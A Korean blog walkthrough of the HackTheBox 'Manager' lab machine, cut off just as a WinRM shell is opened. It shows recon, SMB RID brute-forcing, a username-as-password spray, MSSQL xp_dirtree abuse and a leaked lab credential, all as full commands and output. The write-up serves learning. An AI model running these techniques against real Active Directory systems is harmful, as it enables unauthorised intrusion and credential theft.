HTB Manager
HackTheBox 오픈베타 시즌3의 4번째 머신으로 Windows 환경의 어려움 난이도로 출시되었다. 이번 포스팅에서는 Manager 머신의 해결 과정을 기록한다.
머신을 발급받고 바로 모든 플래그를 획득한 것이 아니기에 중간중간 대상의 IP Address가 변경될 수 있음 😅
Recon
Port Scan
대상으로 발급받은 머신의 IP를 대상으로 포트스캔 시 아래와 같이 Windows 환경에서 자주 확인할 수 있는 포트들을 확인할 수 있었고, 그중 1433/tcp(MS-SQL)
이 오픈되어있는 것이 관심갖을 부분인것 같다.
내용에서 확인할 수 있는것처럼 manager.htb
라는 도메인을 사용하고 DC는 dc01.manager.htb
로 확인된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-22 19:02 KST
Nmap scan report for manager.htb (10.129.87.70)
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Manager
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-10-22 17:02:35Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-22T17:04:09+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-22T17:04:10+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-22T16:49:01
|_Not valid after: 2053-10-22T16:49:01
|_ssl-date: 2023-10-22T17:04:09+00:00; +7h00m00s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
|_ssl-date: 2023-10-22T17:04:09+00:00; +7h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-22T17:04:10+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after: 2024-07-29T13:51:28
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49716/tcp open msrpc Microsoft Windows RPC
61737/tcp filtered unknown
61761/tcp open msrpc Microsoft Windows RPC
61838/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-10-22T17:03:32
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.41 seconds
DNS
53/tcp
가 오픈되어있어 DNS로 쿼리를 전송하여 취약한 부분이 존재하는지 확인해봣으나, 흥미로운 부분은 발견되지 않았다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root㉿kali)-[~]
└─# dig any manager.htb @10.129.87.70
; <<>> DiG 9.18.1-1-Debian <<>> any manager.htb @10.129.87.70
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16638
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;manager.htb. IN ANY
;; ANSWER SECTION:
manager.htb. 600 IN A 10.129.87.70
manager.htb. 3600 IN NS dc01.manager.htb.
manager.htb. 3600 IN SOA dc01.manager.htb. hostmaster.manager.htb. 262 900 600 86400 3600
;; ADDITIONAL SECTION:
dc01.manager.htb. 1200 IN A 10.129.87.70
;; Query time: 199 msec
;; SERVER: 10.129.87.70#53(10.129.87.70) (TCP)
;; WHEN: Sun Oct 22 06:27:53 EDT 2023
;; MSG SIZE rcvd: 138
1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# dig axfr manager.htb @10.129.87.70
; <<>> DiG 9.18.1-1-Debian <<>> axfr manager.htb @10.129.87.70
;; global options: +cmd
; Transfer failed.
WEB
/etc/hosts
에 포트 스캔 및 DNS를 통해 확인된 호스트를 기록 후 manager.htb
에 대한 가상 호스트의 존재를 파악해보기 위해 퍼징을 진행해도 발견된 호스트는 존재하지 않았다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://manager.htb
:: Wordlist : FUZZ: /Users/juicemon/Desktop/Tools/wordlist/vhost-wordlist.txt
:: Header : Host: FUZZ.manager.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 18203
:: Filter : Response words: 0
________________________________________________
:: Progress: [20575/20575] :: Job [1/1] :: 182 req/sec :: Duration: [0:01:52] :: Errors: 0 ::
manager.htb:80
가장 기본적으로 접근할 수 있는 웹에 접근하니 아래와 같은 페이지가 반겨준다.
디렉터리 스캔을 진행해도 흥미로운 경로는 찾을 수 없었다 😨
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
╭─juicemon@juicemon-2 ~
╰─$ ffuf -w ~/Desktop/Tools/wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -u http://manager.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://manager.htb/FUZZ
:: Wordlist : FUZZ: /Users/juicemon/Desktop/Tools/wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
images [Status: 301, Size: 149, Words: 9, Lines: 2, Duration: 301ms]
js [Status: 301, Size: 145, Words: 9, Lines: 2, Duration: 300ms]
css [Status: 301, Size: 146, Words: 9, Lines: 2, Duration: 747ms]
80/tcp
웹 서비스에서 발견된 것중 사용 가능성이 존재하는 정보는 index.html
메인 페이지에서 확인할 수 있는 임직원 정보로 예상되는 JOHNDUE
라는 이름이였다.
해당 내용이 침투 과정에서 사용될 수 있을지 모르겠으나, 일단 기억해두기로 한다.
LDAP
웹에서 무엇인가 접근할 수 있는 포인트가 발견되지않아 오픈된 서비스 중 하나인 LDAP으로 넘어와 탐색을 진행하였다. 하지만 이미 알고있는 정보만 도출되고 흥미로운 접근은 불가능했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~]
└─# ldapsearch -H ldap://10.129.87.70 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingcontexts: DC=manager,DC=htb
namingcontexts: CN=Configuration,DC=manager,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=manager,DC=htb
namingcontexts: DC=DomainDnsZones,DC=manager,DC=htb
namingcontexts: DC=ForestDnsZones,DC=manager,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~]
└─# ldapsearch -H ldap://10.129.87.70 -x -b 'DC=manager,DC=htb'
# extended LDIF
#
# LDAPv3
# base <DC=manager,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090CF4, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
# numResponses: 1
RPC
느낌상 재미난 정보를 얻기 힘들것으로 예상되지만 꼼꼼하게 훑어보기위해 rpcclient
를 통해서도 RPC 서비스에 접근하였으나, 익명 접근으로는 명령 전달 권한이 부족하여 얻을 수 있는 정보는 없었다.
1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# rpcclient -U "" -N 10.129.87.70
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> querydispinfo
result was NT_STATUS_ACCESS_DENIED
SMB
위에서 지루한 시간이 지나고 SMB에 희망을 걸고 익명 접근을 시도했으며 익명 로그인이 가능하고 리스팅도 가능했다!
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# smbclient -N -L //10.129.87.70
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
그치만 모든 공유 디렉터리에 접근 또는 열거가 불가능하였다 😥
ADMIN$
1
2
3
┌──(root㉿kali)-[~]
└─# smbclient -N //10.129.87.70/ADMIN$
tree connect failed: NT_STATUS_ACCESS_DENIED
C$
1
2
3
┌──(root㉿kali)-[~]
└─# smbclient -N //10.129.87.70/C$
tree connect failed: NT_STATUS_ACCESS_DENIED
IPC$
1
2
3
4
5
┌──(root㉿kali)-[~]
└─# smbclient -N //10.129.87.70/IPC$
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
NETLOGON
1
2
3
4
5
┌──(root㉿kali)-[~]
└─# smbclient -N //10.129.87.70/NETLOGON
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
SYSVOL
1
2
3
4
5
┌──(root㉿kali)-[~]
└─# smbclient -N //10.129.87.70/SYSVOL
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
Foothold
SMB RID Bruteforce
SMB에 익명 접근이 가능하여 RID를 통한 무차별 대입으로 내부 사용자를 열거할 수 있다는 정보를 Exploit Notes에서 확인할 수 있었고, 내용을 기반으로 사용자를 열거하니 다음과 같은 결과를 추출할 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿kali)-[~/Desktop/Manager]
└─# crackmapexec smb '10.129.87.70' -u 'anonymous' -p '' --rid-brute
SMB 10.129.87.70 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.129.87.70 445 DC01 [+] manager.htb\anonymous:
SMB 10.129.87.70 445 DC01 [+] Brute forcing RIDs
SMB 10.129.87.70 445 DC01 498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.87.70 445 DC01 500: MANAGER\Administrator (SidTypeUser)
SMB 10.129.87.70 445 DC01 501: MANAGER\Guest (SidTypeUser)
SMB 10.129.87.70 445 DC01 502: MANAGER\krbtgt (SidTypeUser)
SMB 10.129.87.70 445 DC01 512: MANAGER\Domain Admins (SidTypeGroup)
SMB 10.129.87.70 445 DC01 513: MANAGER\Domain Users (SidTypeGroup)
SMB 10.129.87.70 445 DC01 514: MANAGER\Domain Guests (SidTypeGroup)
SMB 10.129.87.70 445 DC01 515: MANAGER\Domain Computers (SidTypeGroup)
SMB 10.129.87.70 445 DC01 516: MANAGER\Domain Controllers (SidTypeGroup)
SMB 10.129.87.70 445 DC01 517: MANAGER\Cert Publishers (SidTypeAlias)
SMB 10.129.87.70 445 DC01 518: MANAGER\Schema Admins (SidTypeGroup)
SMB 10.129.87.70 445 DC01 519: MANAGER\Enterprise Admins (SidTypeGroup)
SMB 10.129.87.70 445 DC01 520: MANAGER\Group Policy Creator Owners (SidTypeGroup)
SMB 10.129.87.70 445 DC01 521: MANAGER\Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.87.70 445 DC01 522: MANAGER\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.129.87.70 445 DC01 525: MANAGER\Protected Users (SidTypeGroup)
SMB 10.129.87.70 445 DC01 526: MANAGER\Key Admins (SidTypeGroup)
SMB 10.129.87.70 445 DC01 527: MANAGER\Enterprise Key Admins (SidTypeGroup)
SMB 10.129.87.70 445 DC01 553: MANAGER\RAS and IAS Servers (SidTypeAlias)
SMB 10.129.87.70 445 DC01 571: MANAGER\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.129.87.70 445 DC01 572: MANAGER\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.129.87.70 445 DC01 1000: MANAGER\DC01$ (SidTypeUser)
SMB 10.129.87.70 445 DC01 1101: MANAGER\DnsAdmins (SidTypeAlias)
SMB 10.129.87.70 445 DC01 1102: MANAGER\DnsUpdateProxy (SidTypeGroup)
SMB 10.129.87.70 445 DC01 1103: MANAGER\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
SMB 10.129.87.70 445 DC01 1113: MANAGER\Zhong (SidTypeUser)
SMB 10.129.87.70 445 DC01 1114: MANAGER\Cheng (SidTypeUser)
SMB 10.129.87.70 445 DC01 1115: MANAGER\Ryan (SidTypeUser)
SMB 10.129.87.70 445 DC01 1116: MANAGER\Raven (SidTypeUser)
SMB 10.129.87.70 445 DC01 1117: MANAGER\JinWoo (SidTypeUser)
SMB 10.129.87.70 445 DC01 1118: MANAGER\ChinHae (SidTypeUser)
SMB 10.129.87.70 445 DC01 1119: MANAGER\Operator (SidTypeUser)
위에서 추출한 값들 중 SidTypeUser
로 확인되는 유저 목록을 작성하여 리스트화한다.
1
2
3
4
5
6
7
8
9
10
11
Administrator
Guest
krbtgt
DC01$
zhong
cheng
ryan
raven
jinwoo
chinhae
operator
Password Spray
유저목록은 확인됐지만, 패스워드로 예상되는 정보는 획득할 수 없었기에 유저 목록을 패스워드 파일로하여 무차별 대입을 진행해보니 operator
계정의 패스워드가 일치하여 사용 가능한것으로 파악된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
┌──(root㉿kali)-[~/Desktop/Manager]
└─# crackmapexec smb '10.129.87.70' -u users.txt -p users.txt --continue-on-success
SMB 10.129.87.70 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.129.87.70 445 DC01 [-] manager.htb\zhong:zhong STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\zhong:cheng STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\zhong:ryan STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\zhong:raven STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\zhong:jinwoo STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\zhong:chinhae STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\zhong:operator STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\cheng:zhong STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\cheng:cheng STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\cheng:ryan STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\cheng:raven STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\cheng:jinwoo STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\cheng:chinhae STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\cheng:operator STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\ryan:zhong STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\ryan:cheng STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\ryan:ryan STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\ryan:raven STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\ryan:jinwoo STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\ryan:chinhae STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\ryan:operator STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\raven:zhong STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\raven:cheng STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\raven:ryan STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\raven:raven STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\raven:jinwoo STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\raven:chinhae STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\raven:operator STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\jinwoo:zhong STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\jinwoo:cheng STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\jinwoo:ryan STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\jinwoo:raven STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\jinwoo:jinwoo STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\jinwoo:chinhae STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\jinwoo:operator STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\chinhae:zhong STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\chinhae:cheng STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\chinhae:ryan STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\chinhae:raven STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\chinhae:jinwoo STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\chinhae:chinhae STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\chinhae:operator STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\operator:zhong STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\operator:cheng STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\operator:ryan STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\operator:raven STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\operator:jinwoo STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [-] manager.htb\operator:chinhae STATUS_LOGON_FAILURE
SMB 10.129.87.70 445 DC01 [+] manager.htb\operator:operator
운좋게 사용가능한 계정 정보를 획득했지만 해당 계정에서 WinRM 접근 권한은 존재하지않았다.
1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/Manager]
└─# crackmapexec winrm '10.129.87.70' -u 'operator' -p 'operator'
SMB 10.129.87.70 5985 DC01 [*] Windows 10.0 Build 17763 (name:DC01) (domain:manager.htb)
HTTP 10.129.87.70 5985 DC01 [*] http://10.129.87.70:5985/wsman
WINRM 10.129.87.70 5985 DC01 [-] manager.htb\operator:operator
MSSQL
획득한 operator 계정으로 접근할 수 있는 모든 서비스를 접근하면서 impacket-mssqlclient
를 사용하여 MSSQL에 접근이 가능한것으로 확인됐다.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/Desktop/Manager]
└─# impacket-mssqlclient -p 1433 -windows-auth -dc-ip '10.129.87.70' "manager.htb/Operator:operator"@10.129.87.70
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
가장 먼저 권한이 있다면 시스템 명령어 실행이 가능한 저장 프로세저인 xp_cmdshell
을 테스트해봤으나, 해당 저장 프로시저에 대한 권한은 존재하지 않았으며 권한을 부여할 수 있는 권한도 존재하지 않았다.
1
2
3
4
5
6
7
SQL> xp_cmdshell whoami
[-] ERROR(DC01\SQLEXPRESS): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
SQL> enable_xp_cmdshell
[-] ERROR(DC01\SQLEXPRESS): Line 105: User does not have permission to perform this action.
[-] ERROR(DC01\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
[-] ERROR(DC01\SQLEXPRESS): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
[-] ERROR(DC01\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
이후 데이터베이스를 열거하니 MSSQL 기본 데이터베이스들만 존재하였다.
1
2
3
4
5
6
7
8
9
10
11
12
SQL> SELECT name FROM master..sysdatabases;
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
xp_dirtree
포스팅 예정인 HTB Escape에서도 사용했지만, MetaSploit의 admin/mssql/mssql_enum 모듈을 통해 접근 가능한 MSSQL의 정보를 열거할 수 있다. 이번 머신을 통해서도 사용했고 접근한 계정에서 `p_dirtree 저장 프로시저를 사용할 수 있는것으로 확인되었다.
공격자 관점에서 xp_dirtree 저장 프로시저 권한이 존재할 경우에 SMB Relay Attack
를 시도해 볼 수 있다. 하지만 포스팅 길이가 늘어나는걸 방지하기위해 탈취한 NTLM 해시는 john the ripper나 hashcat으로 크랙이 불가능했었다는 사실만 언급하고 넘어간다.
xp_dirtree를 이용해서 NTLM 해시만 탈취할 수 있는것이 아니다. 프로시저 이름에서 알 수 있는것처럼 dirtree를 확인할 수 있다.
테스트를 위해 포스팅에서 언급하진 않았지만 wappalyzer
와 httpx
를 통해 웹 서비스가 IIS로 동작중인 것을 알고 있어 C:\inetpub
의 디렉터리 트리를 요청하는 쿼리를 입력하였다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
SQL> xp_dirtree 'C:\inetpub'
subdirectory depth
-------------------------------- -----------
custerr 1
en-US 2
history 1
logs 1
temp 1
appPools 2
IIS Temporary Compressed Files 2
wwwroot 1
css 2
images 2
js 2
IIS의 디렉터리 구조를 파악할 수 있었으며, xp_dirtree에 depth와 file 필드를 추가할 수 있는 옵션을 부여 후 C:\inetpub\wwwroot\
의 10뎁스까지 확인한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SQL> xp_dirtree 'C:\inetpub\wwwroot',10,1
subdirectory depth file
--------------------------------- ----------- -----------
about.html 1 1
contact.html 1 1
bootstrap.css 2 1
responsive.css 2 1
style.css 2 1
style.css.map 2 1
style.scss 2 1
images 1 0
about-img.png 2 1
body_bg.jpg 2 1
call-o.png 2 1
call.png 2 1
client.jpg 2 1
contact-img.jpg 2 1
index.html 1 1
bootstrap.js 2 1
jquery-3.4.1.min.js 2 1
service.html 1 1
web.config 1 1
website-backup-27-07-23-old.zip 1 1
그중 확인된 website-backup-27-07-23-old.zip
파일은 웹루트 기준으로 뎁스가 1인것으로 보아 웹루트 디렉터리에 위치해 있다. 이는 디렉터리 스캔으로 확인하지 못했던 저 압축 파일에 공격자가 직접 접근하여 파일을 다운로드 할 수 있다.
1
2
3
4
5
6
7
8
┌──(root㉿kali)-[~/Desktop/Manager]
└─# wget "http://manager.htb/website-backup-27-07-23-old.zip"
--2023-10-23 01:58:34-- http://manager.htb/website-backup-27-07-23-old.zip
Resolving manager.htb (manager.htb)... 10.129.87.70
Connecting to manager.htb (manager.htb)|10.129.87.70|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1045328 (1021K) [application/x-zip-compressed]
Saving to: ‘website-backup-27-07-23-old.zip’
압축을 해제하고 파일 들을 확인하다 .old-conf.xml
파일에서 Raven 계정정보를 파악할 수 있었다!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<server>
<host>dc01.manager.htb</host>
<open-port enabled="true">389</open-port>
<secure-port enabled="false">0</secure-port>
<search-base>dc=manager,dc=htb</search-base>
<server-type>microsoft</server-type>
<access-user>
<user>raven@manager.htb</user>
<password>R4v3nBe5tD3veloP3r!123</password>
</access-user>
<uid-attribute>cn</uid-attribute>
</server>
<search type="full">
<dir-list>
<dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
</dir-list>
</search>
</ldap-conf>
Users
현재까지 내용을 정리하면 SMB RID Bruteforce를 통해 사용자 계정 열거가 가능했고 유저 목록을 패스워드 리스트로하는 Password Spray를 통해 operator 계정을 획득할 수 있었다.
해당 계정은 MSSQL 서비스에 접근이 가능한 계정으로, xp_dirtree를 통해 SMB Relay Attack을 통해 확보한 NTLM 크랙은 실패 했으나, 디렉터리 구조를 파악하여 확인한 웹루트 디렉터리 내 백업 파일을 다운로드할 수 있었고 해당 압축 파일 내 존재하는 파일에서 Raven
계정정보를 파악할 수 있었다.
획득한 계정정보가 유효한지 확인 결과 사용 가능한 것을 알 수 있었고, WinRM 접근 권한까지 존재하는것을 확인했다.
1
2
3
4
┌──(root㉿kali)-[~/Desktop/Manager/backup]
└─# crackmapexec smb '10.129.87.70' -u 'Raven' -p 'R4v3nBe5tD3veloP3r!123'
SMB 10.129.87.70 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.129.87.70 445 DC01 [+] manager.htb\Raven:R4v3nBe5tD3veloP3r!123
1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/Manager/backup]
└─# crackmapexec winrm '10.129.87.70' -u 'Raven' -p 'R4v3nBe5tD3veloP3r!123'
SMB 10.129.87.70 5985 DC01 [*] Windows 10.0 Build 17763 (name:DC01) (domain:manager.htb)
HTTP 10.129.87.70 5985 DC01 [*] http://10.129.87.70:5985/wsman
WINRM 10.129.87.70 5985 DC01 [+] manager.htb\Raven:R4v3nBe5tD3veloP3r!123 (Pwn3d!)
Raven
획득한 계정이 WinRM 권한이 존재하는 것을 파악하고 evil-winrm
을 통해 쉘에 접근하여 해당 계정의 권한을 확인하였다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kali)-[~]
